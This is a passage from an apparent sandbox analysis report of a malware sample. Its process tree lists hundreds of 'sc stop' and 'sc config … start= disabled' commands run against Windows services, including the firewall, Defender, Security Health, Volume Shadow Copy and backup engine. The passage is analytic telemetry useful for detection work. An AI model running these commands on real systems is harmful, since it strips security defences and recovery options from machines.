      4⤵
      PID:1632
  - - C:\Windows\system32\sc.exe
      "sc" config IKEEXT start= disabled
      4⤵
      Launches sc.exe
      PID:5276
  - - C:\Windows\system32\sc.exe
      "sc" config InstallService start= disabled
      4⤵
      PID:1396
  - - C:\Windows\system32\sc.exe
      "sc" config iphlpsvc start= disabled
      4⤵
      PID:4076
  - - C:\Windows\system32\sc.exe
      "sc" config InventorySvc start= disabled
      4⤵
      PID:5124
  - - C:\Windows\system32\sc.exe
      "sc" stop KtmRm
      4⤵
      PID:3912
  - - C:\Windows\system32\sc.exe
      "sc" config KeyIso start= disabled
      4⤵
      PID:1852
  - - C:\Windows\system32\sc.exe
      "sc" stop LanmanServer
      4⤵
      PID:2020
  - - C:\Windows\system32\sc.exe
      "sc" stop LanmanWorkstation
      4⤵
      Launches sc.exe
      PID:4004
  - - C:\Windows\system32\sc.exe
      "sc" config IpxlatCfgSvc start= disabled
      4⤵
      PID:4492
  - - C:\Windows\system32\sc.exe
      "sc" stop lfsvc
      4⤵
      PID:3964
  - - C:\Windows\system32\sc.exe
      "sc" stop LicenseManager
      4⤵
      PID:2816
  - - C:\Windows\system32\sc.exe
      "sc" stop lltdsvc
      4⤵
      PID:6240
  - - C:\Windows\system32\sc.exe
      "sc" stop lmhosts
      4⤵
      PID:6412
  - - C:\Windows\system32\sc.exe
      "sc" stop LocalKdc
      4⤵
      PID:5544
  - - C:\Windows\system32\sc.exe
      "sc" config LanmanServer start= disabled
      4⤵
      PID:4276
  - - C:\Windows\system32\sc.exe
      "sc" config KtmRm start= disabled
      4⤵
      PID:3900
  - - C:\Windows\system32\sc.exe
      "sc" config lfsvc start= disabled
      4⤵
      PID:548
  - - C:\Windows\system32\sc.exe
      "sc" config LanmanWorkstation start= disabled
      4⤵
      PID:2676
  - - C:\Windows\system32\sc.exe
      "sc" config LicenseManager start= disabled
      4⤵
      PID:6964
  - - C:\Windows\system32\sc.exe
      "sc" config lltdsvc start= disabled
      4⤵
      PID:2600
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:776
  - - C:\Windows\system32\sc.exe
      "sc" config lmhosts start= disabled
      4⤵
      Launches sc.exe
      PID:3268
  - - C:\Windows\system32\sc.exe
      "sc" config LocalKdc start= disabled
      4⤵
      PID:2428
  - - C:\Windows\system32\sc.exe
      "sc" stop LSM
      4⤵
      Launches sc.exe
      PID:1368
  - - C:\Windows\system32\sc.exe
      "sc" stop LxpSvc
      4⤵
      PID:6552
  - - C:\Windows\system32\sc.exe
      "sc" stop MapsBroker
      4⤵
      PID:6420
  - - C:\Windows\system32\sc.exe
      "sc" stop McpManagementService
      4⤵
      PID:3156
  - - C:\Windows\system32\sc.exe
      "sc" stop MicrosoftEdgeElevationService
      4⤵
      PID:5320
  - - C:\Windows\system32\sc.exe
      "sc" config LSM start= disabled
      4⤵
      PID:3184
  - - C:\Windows\system32\sc.exe
      "sc" stop MozillaMaintenance
      4⤵
      PID:5900
  - - C:\Windows\system32\sc.exe
      "sc" stop mpssvc
      4⤵
      PID:5500
  - - C:\Windows\system32\sc.exe
      "sc" config LxpSvc start= disabled
      4⤵
      PID:404
  - - C:\Windows\system32\sc.exe
      "sc" stop MSDTC
      4⤵
      Launches sc.exe
      PID:2128
  - - C:\Windows\system32\sc.exe
      "sc" config McpManagementService start= disabled
      4⤵
      PID:1876
  - - C:\Windows\system32\sc.exe
      "sc" config MapsBroker start= disabled
      4⤵
      PID:3084
  - - C:\Windows\system32\sc.exe
      "sc" config MicrosoftEdgeElevationService start= disabled
      4⤵
      PID:2792
  - - C:\Windows\system32\sc.exe
      "sc" config MozillaMaintenance start= disabled
      4⤵
      PID:3200
  - - C:\Windows\system32\sc.exe
      "sc" config mpssvc start= disabled
      4⤵
      PID:3872
  - - C:\Windows\system32\sc.exe
      "sc" stop MSiSCSI
      4⤵
      PID:6236
  - - C:\Windows\system32\sc.exe
      "sc" stop msiserver
      4⤵
      PID:3052
  - - C:\Windows\system32\sc.exe
      "sc" config MSDTC start= disabled
      4⤵
      PID:3860
  - - C:\Windows\system32\sc.exe
      "sc" stop MsKeyboardFilter
      4⤵
      PID:1904
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6932
  - - C:\Windows\system32\sc.exe
      "sc" stop NaturalAuthentication
      4⤵
      PID:2088
  - - C:\Windows\system32\sc.exe
      "sc" stop NcaSvc
      4⤵
      PID:1104
  - - C:\Windows\system32\sc.exe
      "sc" stop NcbService
      4⤵
      PID:2760
  - - C:\Windows\system32\sc.exe
      "sc" stop NcdAutoSetup
      4⤵
      PID:1260
  - - C:\Windows\system32\sc.exe
      "sc" config MSiSCSI start= disabled
      4⤵
      PID:1668
  - - C:\Windows\system32\sc.exe
      "sc" config msiserver start= disabled
      4⤵
      PID:6768
  - - C:\Windows\system32\sc.exe
      "sc" stop Netlogon
      4⤵
      PID:704
  - - C:\Windows\system32\sc.exe
      "sc" config NaturalAuthentication start= disabled
      4⤵
      PID:2812
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1072
  - - C:\Windows\system32\sc.exe
      "sc" config NcbService start= disabled
      4⤵
      PID:1548
  - - C:\Windows\system32\sc.exe
      "sc" config MsKeyboardFilter start= disabled
      4⤵
      PID:7068
  - - C:\Windows\system32\sc.exe
      "sc" config NcdAutoSetup start= disabled
      4⤵
      PID:2484
  - - C:\Windows\system32\sc.exe
      "sc" config NcaSvc start= disabled
      4⤵
      PID:2232
  - - C:\Windows\system32\sc.exe
      "sc" stop Netman
      4⤵
      PID:1940
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3972
  - - C:\Windows\system32\sc.exe
      "sc" stop netprofm
      4⤵
      PID:3876
  - - C:\Windows\system32\sc.exe
      "sc" config Netlogon start= disabled
      4⤵
      PID:3140
  - - C:\Windows\system32\sc.exe
      "sc" stop NetSetupSvc
      4⤵
      Launches sc.exe
      PID:4748
  - - C:\Windows\system32\sc.exe
      "sc" stop NetTcpPortSharing
      4⤵
      PID:2420
  - - C:\Windows\system32\sc.exe
      "sc" stop NgcCtnrSvc
      4⤵
      PID:5400
  - - C:\Windows\system32\sc.exe
      "sc" stop NgcSvc
      4⤵
      PID:5080
  - - C:\Windows\system32\sc.exe
      "sc" config Netman start= disabled
      4⤵
      PID:2004
  - - C:\Windows\system32\sc.exe
      "sc" stop NlaSvc
      4⤵
      PID:6800
  - - C:\Windows\system32\sc.exe
      "sc" stop nsi
      4⤵
      PID:2564
  - - C:\Windows\system32\sc.exe
      "sc" config NgcSvc start= disabled
      4⤵
      PID:6464
  - - C:\Windows\system32\sc.exe
      "sc" config NetTcpPortSharing start= disabled
      4⤵
      PID:5092
  - - C:\Windows\system32\sc.exe
      "sc" config NetSetupSvc start= disabled
      4⤵
      PID:2536
  - - C:\Windows\system32\sc.exe
      "sc" config NgcCtnrSvc start= disabled
      4⤵
      PID:5280
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:7072
  - - C:\Windows\system32\sc.exe
      "sc" stop ose64
      4⤵
      Launches sc.exe
      PID:5852
  - - C:\Windows\system32\sc.exe
      "sc" config NlaSvc start= disabled
      4⤵
      PID:6008
  - - C:\Windows\system32\sc.exe
      "sc" stop PcaSvc
      4⤵
      PID:4496
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1116
  - - C:\Windows\system32\sc.exe
      "sc" config nsi start= disabled
      4⤵
      PID:1932
  - - C:\Windows\system32\sc.exe
      "sc" stop PeerDistSvc
      4⤵
      PID:3956
  - - C:\Windows\system32\sc.exe
      "sc" stop perceptionsimulation
      4⤵
      PID:3996
  - - C:\Windows\system32\sc.exe
      "sc" stop PerfHost
      4⤵
      PID:1100
  - - C:\Windows\system32\sc.exe
      "sc" config ose64 start= disabled
      4⤵
      PID:5600
  - - C:\Windows\system32\sc.exe
      "sc" stop PhoneSvc
      4⤵
      Launches sc.exe
      PID:6656
  - - C:\Windows\system32\sc.exe
      "sc" config PcaSvc start= disabled
      4⤵
      PID:5940
  - - C:\Windows\system32\sc.exe
      "sc" stop pla
      4⤵
      PID:5308
  - - C:\Windows\system32\sc.exe
      "sc" config PeerDistSvc start= disabled
      4⤵
      PID:3840
  - - C:\Windows\system32\sc.exe
      "sc" config perceptionsimulation start= disabled
      4⤵
      PID:6700
  - - C:\Windows\system32\sc.exe
      "sc" config PerfHost start= disabled
      4⤵
      PID:6572
  - - C:\Windows\system32\sc.exe
      "sc" stop PlugPlay
      4⤵
      PID:6980
  - - C:\Windows\system32\sc.exe
      "sc" config pla start= disabled
      4⤵
      Launches sc.exe
      PID:5828
  - - C:\Windows\system32\sc.exe
      "sc" stop PolicyAgent
      4⤵
      PID:2548
  - - C:\Windows\system32\sc.exe
      "sc" config PhoneSvc start= disabled
      4⤵
      PID:2604
  - - C:\Windows\system32\sc.exe
      "sc" stop Power
      4⤵
      PID:2392
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4056
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintDeviceConfigurationService
      4⤵
      PID:3392
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintNotify
      4⤵
      PID:6600
  - - C:\Windows\system32\sc.exe
      "sc" config PlugPlay start= disabled
      4⤵
      PID:3348
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintScanBrokerService
      4⤵
      PID:4076
  - - C:\Windows\system32\sc.exe
      "sc" config PolicyAgent start= disabled
      4⤵
      PID:3652
  - - C:\Windows\system32\sc.exe
      "sc" config Power start= disabled
      4⤵
      PID:3720
  - - C:\Windows\system32\sc.exe
      "sc" stop ProfSvc
      4⤵
      PID:6772
  - - C:\Windows\system32\sc.exe
      "sc" config PrintDeviceConfigurationService start= disabled
      4⤵
      Launches sc.exe
      PID:3344
  - - C:\Windows\system32\sc.exe
      "sc" config PrintNotify start= disabled
      4⤵
      PID:2580
  - - C:\Windows\system32\sc.exe
      "sc" stop PushToInstall
      4⤵
      PID:5844
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5420
  - - C:\Windows\system32\sc.exe
      "sc" config PrintScanBrokerService start= disabled
      4⤵
      PID:6832
  - - C:\Windows\system32\sc.exe
      "sc" stop QWAVE
      4⤵
      PID:988
  - - C:\Windows\system32\sc.exe
      "sc" stop RasAuto
      4⤵
      PID:5000
  - - C:\Windows\system32\sc.exe
      "sc" config ProfSvc start= disabled
      4⤵
      Launches sc.exe
      PID:6448
  - - C:\Windows\system32\sc.exe
      "sc" stop RasMan
      4⤵
      PID:6124
  - - C:\Windows\system32\sc.exe
      "sc" stop refsdedupsvc
      4⤵
      PID:2524
  - - C:\Windows\system32\sc.exe
      "sc" stop RemoteAccess
      4⤵
      PID:3208
  - - C:\Windows\system32\sc.exe
      "sc" config PushToInstall start= disabled
      4⤵
      PID:5544
  - - C:\Windows\system32\sc.exe
      "sc" config RasAuto start= disabled
      4⤵
      PID:1108
  - - C:\Windows\system32\sc.exe
      "sc" stop RemoteRegistry
      4⤵
      PID:6788
  - - C:\Windows\system32\sc.exe
      "sc" config QWAVE start= disabled
      4⤵
      PID:6396
  - - C:\Windows\system32\sc.exe
      "sc" config RasMan start= disabled
      4⤵
      PID:6480
  - - C:\Windows\system32\sc.exe
      "sc" config refsdedupsvc start= disabled
      4⤵
      PID:1388
  - - C:\Windows\system32\sc.exe
      "sc" stop RetailDemo
      4⤵
      PID:6964
  - - C:\Windows\system32\sc.exe
      "sc" config RemoteAccess start= disabled
      4⤵
      PID:3808
  - - C:\Windows\system32\sc.exe
      "sc" stop RmSvc
      4⤵
      PID:5304
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcEptMapper
      4⤵
      PID:3268
  - - C:\Windows\system32\sc.exe
      "sc" config RemoteRegistry start= disabled
      4⤵
      PID:3360
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcLocator
      4⤵
      PID:3828
  - - C:\Windows\system32\sc.exe
      "sc" config RetailDemo start= disabled
      4⤵
      PID:1692
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcSs
      4⤵
      PID:2600
  - - C:\Windows\system32\sc.exe
      "sc" stop SamSs
      4⤵
      Launches sc.exe
      PID:2768
  - - C:\Windows\system32\sc.exe
      "sc" config RpcEptMapper start= disabled
      4⤵
      PID:1704
  - - C:\Windows\system32\sc.exe
      "sc" config RpcLocator start= disabled
      4⤵
      PID:3092
  - - C:\Windows\system32\sc.exe
      "sc" stop SCardSvr
      4⤵
      PID:2724
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5900
  - - C:\Windows\system32\sc.exe
      "sc" config RpcSs start= disabled
      4⤵
      Launches sc.exe
      PID:6688
  - - C:\Windows\system32\sc.exe
      "sc" stop ScDeviceEnum
      4⤵
      PID:3188
  - - C:\Windows\system32\sc.exe
      "sc" config SamSs start= disabled
      4⤵
      PID:3184
  - - C:\Windows\system32\sc.exe
      "sc" stop Schedule
      4⤵
      PID:5300
  - - C:\Windows\system32\sc.exe
      "sc" config SCardSvr start= disabled
      4⤵
      PID:2200
  - - C:\Windows\system32\sc.exe
      "sc" config ScDeviceEnum start= disabled
      4⤵
      PID:3224
  - - C:\Windows\system32\sc.exe
      "sc" stop SCPolicySvc
      4⤵
      PID:1928
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3872
  - - C:\Windows\system32\sc.exe
      "sc" stop SDRSVC
      4⤵
      PID:3412
  - - C:\Windows\system32\sc.exe
      "sc" stop seclogon
      4⤵
      PID:5936
  - - C:\Windows\system32\sc.exe
      "sc" config Schedule start= disabled
      4⤵
      PID:2840
  - - C:\Windows\system32\sc.exe
      "sc" stop SecurityHealthService
      4⤵
      PID:6840
  - - C:\Windows\system32\sc.exe
      "sc" config SDRSVC start= disabled
      4⤵
      Launches sc.exe
      PID:2204
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6332
  - - C:\Windows\system32\sc.exe
      "sc" stop SEMgrSvc
      4⤵
      PID:2804
  - - C:\Windows\system32\sc.exe
      "sc" config SCPolicySvc start= disabled
      4⤵
      Launches sc.exe
      PID:2148
  - - C:\Windows\system32\sc.exe
      "sc" config seclogon start= disabled
      4⤵
      PID:1080
  - - C:\Windows\system32\sc.exe
      "sc" stop SENS
      4⤵
      PID:6408
  - - C:\Windows\system32\sc.exe
      "sc" config SEMgrSvc start= disabled
      4⤵
      PID:2668
  - - C:\Windows\system32\sc.exe
      "sc" config SecurityHealthService start= disabled
      4⤵
      PID:3124
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      PID:516
  - - C:\Windows\system32\sc.exe
      "sc" stop SensorDataService
      4⤵
      Launches sc.exe
      PID:1668
  - - C:\Windows\system32\sc.exe
      "sc" stop SensorService
      4⤵
      PID:6260
  - - C:\Windows\system32\sc.exe
      "sc" config SENS start= disabled
      4⤵
      PID:5044
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2812
  - - C:\Windows\system32\sc.exe
      "sc" config SensorDataService start= disabled
      4⤵
      Launches sc.exe
      PID:832
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1548
  - - C:\Windows\system32\sc.exe
      "sc" config SensorService start= disabled
      4⤵
      PID:2232
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:2972
  - - C:\Windows\system32\sc.exe
      "sc" stop SensrSvc
      4⤵
      PID:4608
  - - C:\Windows\system32\sc.exe
      "sc" stop SessionEnv
      4⤵
      PID:5072
  - - C:\Windows\system32\sc.exe
      "sc" stop SgrmBroker
      4⤵
      PID:2636
  - - C:\Windows\system32\sc.exe
      "sc" stop SharedAccess
      4⤵
      PID:6296
  - - C:\Windows\system32\sc.exe
      "sc" stop ShellHWDetection
      4⤵
      Launches sc.exe
      PID:4748
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5080
  - - C:\Windows\system32\sc.exe
      "sc" stop shpamsvc
      4⤵
      PID:3008
  - - C:\Windows\system32\sc.exe
      "sc" config SensrSvc start= disabled
      4⤵
      PID:5496
  - - C:\Windows\system32\sc.exe
      "sc" config SessionEnv start= disabled
      4⤵
      PID:2656
  - - C:\Windows\system32\sc.exe
      "sc" config SgrmBroker start= disabled
      4⤵
      PID:6172
  - - C:\Windows\system32\sc.exe
      "sc" config shpamsvc start= disabled
      4⤵
      PID:1184
  - - C:\Windows\system32\sc.exe
      "sc" config ShellHWDetection start= disabled
      4⤵
      PID:4420
  - - C:\Windows\system32\sc.exe
      "sc" config SharedAccess start= disabled
      4⤵
      Launches sc.exe
      PID:2564
  - - C:\Windows\system32\sc.exe
      "sc" stop smphost
      4⤵
      PID:2744
  - - C:\Windows\system32\sc.exe
      "sc" stop SmsRouter
      4⤵
      PID:4300
  - - C:\Windows\system32\sc.exe
      "sc" stop SNMPTrap
      4⤵
      PID:6068
  - - C:\Windows\system32\sc.exe
      "sc" stop Spooler
      4⤵
      PID:5904
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6676
  - - C:\Windows\system32\sc.exe
      "sc" stop sppsvc
      4⤵
      PID:792
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4496
  - - C:\Windows\system32\sc.exe
      "sc" config smphost start= disabled
      4⤵
      PID:6640
  - - C:\Windows\system32\sc.exe
      "sc" config SmsRouter start= disabled
      4⤵
      PID:7128
  - - C:\Windows\system32\sc.exe
      "sc" stop SSDPSRV
      4⤵
      PID:5872
  - - C:\Windows\system32\sc.exe
      "sc" config Spooler start= disabled
      4⤵
      PID:5600
  - - C:\Windows\system32\sc.exe
      "sc" stop ssh-agent
      4⤵
      PID:6344
  - - C:\Windows\system32\sc.exe
      "sc" stop SstpSvc
      4⤵
      PID:5920
  - - C:\Windows\system32\sc.exe
      "sc" config SNMPTrap start= disabled
      4⤵
      PID:1864
  - - C:\Windows\system32\sc.exe
      "sc" config sppsvc start= disabled
      4⤵
      PID:5308
  - - C:\Windows\system32\sc.exe
      "sc" config SSDPSRV start= disabled
      4⤵
      Launches sc.exe
      PID:6500
  - - C:\Windows\system32\sc.exe
      "sc" stop StateRepository
      4⤵
      PID:6572
  - - C:\Windows\system32\sc.exe
      "sc" stop StiSvc
      4⤵
      PID:6324
  - - C:\Windows\system32\sc.exe
      "sc" config SstpSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5792
  - - C:\Windows\system32\sc.exe
      "sc" config ssh-agent start= disabled
      4⤵
      PID:4860
  - - C:\Windows\system32\sc.exe
      "sc" stop StorSvc
      4⤵
      PID:1744
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6128
  - - C:\Windows\system32\sc.exe
      "sc" stop svsvc
      4⤵
      Launches sc.exe
      PID:6804
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4084
  - - C:\Windows\system32\sc.exe
      "sc" stop swprv
      4⤵
      PID:6896
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1256
  - - C:\Windows\system32\sc.exe
      "sc" config StiSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1856
  - - C:\Windows\system32\sc.exe
      "sc" stop SysMain
      4⤵
      PID:4040
  - - C:\Windows\system32\sc.exe
      "sc" config StateRepository start= disabled
      4⤵
      PID:5124
  - - C:\Windows\system32\sc.exe
      "sc" config StorSvc start= disabled
      4⤵
      PID:6516
  - - C:\Windows\system32\sc.exe
      "sc" config swprv start= disabled
      4⤵
      PID:3748
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6860
  - - C:\Windows\system32\sc.exe
      "sc" config svsvc start= disabled
      4⤵
      Launches sc.exe
      PID:3720
  - - C:\Windows\system32\sc.exe
      "sc" stop SystemEventsBroker
      4⤵
      PID:4188
  - - C:\Windows\system32\sc.exe
      "sc" config SysMain start= disabled
      4⤵
      Launches sc.exe
      PID:4788
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6824
  - - C:\Windows\system32\sc.exe
      "sc" stop TapiSrv
      4⤵
      Launches sc.exe
      PID:3688
  - - C:\Windows\system32\sc.exe
      "sc" stop TermService
      4⤵
      PID:5612
  - - C:\Windows\system32\sc.exe
      "sc" stop TextInputManagementService
      4⤵
      PID:4544
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5000
  - - C:\Windows\system32\sc.exe
      "sc" stop Themes
      4⤵
      PID:3316
  - - C:\Windows\system32\sc.exe
      "sc" config SystemEventsBroker start= disabled
      4⤵
      PID:2816
  - - C:\Windows\system32\sc.exe
      "sc" stop TieringEngineService
      4⤵
      PID:988
  - - C:\Windows\system32\sc.exe
      "sc" config TermService start= disabled
      4⤵
      PID:6124
  - - C:\Windows\system32\sc.exe
      "sc" config TapiSrv start= disabled
      4⤵
      PID:2320
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2524
  - - C:\Windows\system32\sc.exe
      "sc" config TextInputManagementService start= disabled
      4⤵
      PID:1896
  - - C:\Windows\system32\sc.exe
      "sc" stop TimeBrokerSvc
      4⤵
      PID:4848
  - - C:\Windows\system32\sc.exe
      "sc" config Themes start= disabled
      4⤵
      PID:1012
  - - C:\Windows\system32\sc.exe
      "sc" stop TokenBroker
      4⤵
      PID:3900
  - - C:\Windows\system32\sc.exe
      "sc" config TieringEngineService start= disabled
      4⤵
      PID:5752
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4276
  - - C:\Windows\system32\sc.exe
      "sc" stop TrkWks
      4⤵
      PID:1180
  - - C:\Windows\system32\sc.exe
      "sc" stop TroubleshootingSvc
      4⤵
      Launches sc.exe
      PID:2676
  - - C:\Windows\system32\sc.exe
      "sc" config TrkWks start= disabled
      4⤵
      PID:4708
  - - C:\Windows\system32\sc.exe
      "sc" config TokenBroker start= disabled
      4⤵
      PID:6604
  - - C:\Windows\system32\sc.exe
      "sc" stop TrustedInstaller
      4⤵
      Launches sc.exe
      PID:5036
  - - C:\Windows\system32\sc.exe
      "sc" config TimeBrokerSvc start= disabled
      4⤵
      PID:696
  - - C:\Windows\system32\sc.exe
      "sc" stop tzautoupdate
      4⤵
      PID:1972
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5320
  - - C:\Windows\system32\sc.exe
      "sc" stop UevAgentService
      4⤵
      PID:4620
  - - C:\Windows\system32\sc.exe
      "sc" stop UmRdpService
      4⤵
      PID:1692
  - - C:\Windows\system32\sc.exe
      "sc" config TrustedInstaller start= disabled
      4⤵
      PID:2012
  - - C:\Windows\system32\sc.exe
      "sc" config TroubleshootingSvc start= disabled
      4⤵
      PID:2768
  - - C:\Windows\system32\sc.exe
      "sc" stop upnphost
      4⤵
      PID:2588
  - - C:\Windows\system32\sc.exe
      "sc" config tzautoupdate start= disabled
      4⤵
      PID:4248
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2724
  - - C:\Windows\system32\sc.exe
      "sc" config netprofm start= disabled
      4⤵
      PID:1876
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5736
  - - C:\Windows\system32\sc.exe
      "sc" config UevAgentService start= disabled
      4⤵
      PID:6268
  - - C:\Windows\system32\sc.exe
      "sc" config UmRdpService start= disabled
      4⤵
      PID:2488
  - - C:\Windows\system32\sc.exe
      "sc" stop UserManager
      4⤵
      PID:932
  - - C:\Windows\system32\sc.exe
      "sc" stop UsoSvc
      4⤵
      PID:7064
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4668
  - - C:\Windows\system32\sc.exe
      "sc" config upnphost start= disabled
      4⤵
      PID:6300
  - - C:\Windows\system32\sc.exe
      "sc" stop VaultSvc
      4⤵
      PID:4400
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5856
  - - C:\Windows\system32\sc.exe
      "sc" stop vds
      4⤵
      PID:2180
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicguestinterface
      4⤵
      PID:3976
  - - C:\Windows\system32\sc.exe
      "sc" config UserManager start= disabled
      4⤵
      PID:2840
  - - C:\Windows\system32\sc.exe
      "sc" config UsoSvc start= disabled
      4⤵
      PID:2684
  - - C:\Windows\system32\sc.exe
      "sc" config VaultSvc start= disabled
      4⤵
      PID:1104
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicheartbeat
      4⤵
      PID:6840
  - - C:\Windows\system32\sc.exe
      "sc" stop vmickvpexchange
      4⤵
      PID:1496
  - - C:\Windows\system32\sc.exe
      "sc" config vds start= disabled
      4⤵
      PID:6900
  - - C:\Windows\system32\sc.exe
      "sc" config vmicguestinterface start= disabled
      4⤵
      PID:2616
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1668
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicrdv
      4⤵
      PID:2884
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicshutdown
      4⤵
      PID:2476
  - - C:\Windows\system32\sc.exe
      "sc" config vmickvpexchange start= disabled
      4⤵
      PID:5440
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:8
  - - C:\Windows\system32\sc.exe
      "sc" stop vmictimesync
      4⤵
      PID:5060
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3984
  - - C:\Windows\system32\sc.exe
      "sc" config vmicheartbeat start= disabled
      4⤵
      PID:2668
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicvmsession
      4⤵
      PID:1404
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1120
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicvss
      4⤵
      PID:2972
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6368
  - - C:\Windows\system32\sc.exe
      "sc" config vmicshutdown start= disabled
      4⤵
      PID:3056
  - - C:\Windows\system32\sc.exe
      "sc" config vmicrdv start= disabled
      4⤵
      Launches sc.exe
      PID:3436
  - - C:\Windows\system32\sc.exe
      "sc" stop VSS
      4⤵
      PID:2708
  - - C:\Windows\system32\sc.exe
      "sc" config vmictimesync start= disabled
      4⤵
      PID:5400
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1816
  - - C:\Windows\system32\sc.exe
      "sc" config vmicvmsession start= disabled
      4⤵
      PID:4580
  - - C:\Windows\system32\sc.exe
      "sc" stop WaaSMedicSvc
      4⤵
      PID:3008
  - - C:\Windows\system32\sc.exe
      "sc" config vmicvss start= disabled
      4⤵
      Launches sc.exe
      PID:2144
  - - C:\Windows\system32\sc.exe
      "sc" stop WalletService
      4⤵
      PID:1700
  - - C:\Windows\system32\sc.exe
      "sc" config WaaSMedicSvc start= disabled
      4⤵
      PID:7144
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6464
  - - C:\Windows\system32\sc.exe
      "sc" stop WarpJITSvc
      4⤵
      Launches sc.exe
      PID:5264
  - - C:\Windows\system32\sc.exe
      "sc" config VSS start= disabled
      4⤵
      Launches sc.exe
      PID:1428
  - - C:\Windows\system32\sc.exe
      "sc" stop wbengine
      4⤵
      PID:2116
  - - C:\Windows\system32\sc.exe
      "sc" stop WbioSrvc
      4⤵
      PID:2564
  - - C:\Windows\system32\sc.exe
      "sc" stop Wcmsvc
      4⤵
      Launches sc.exe
      PID:2380
  - - C:\Windows\system32\sc.exe
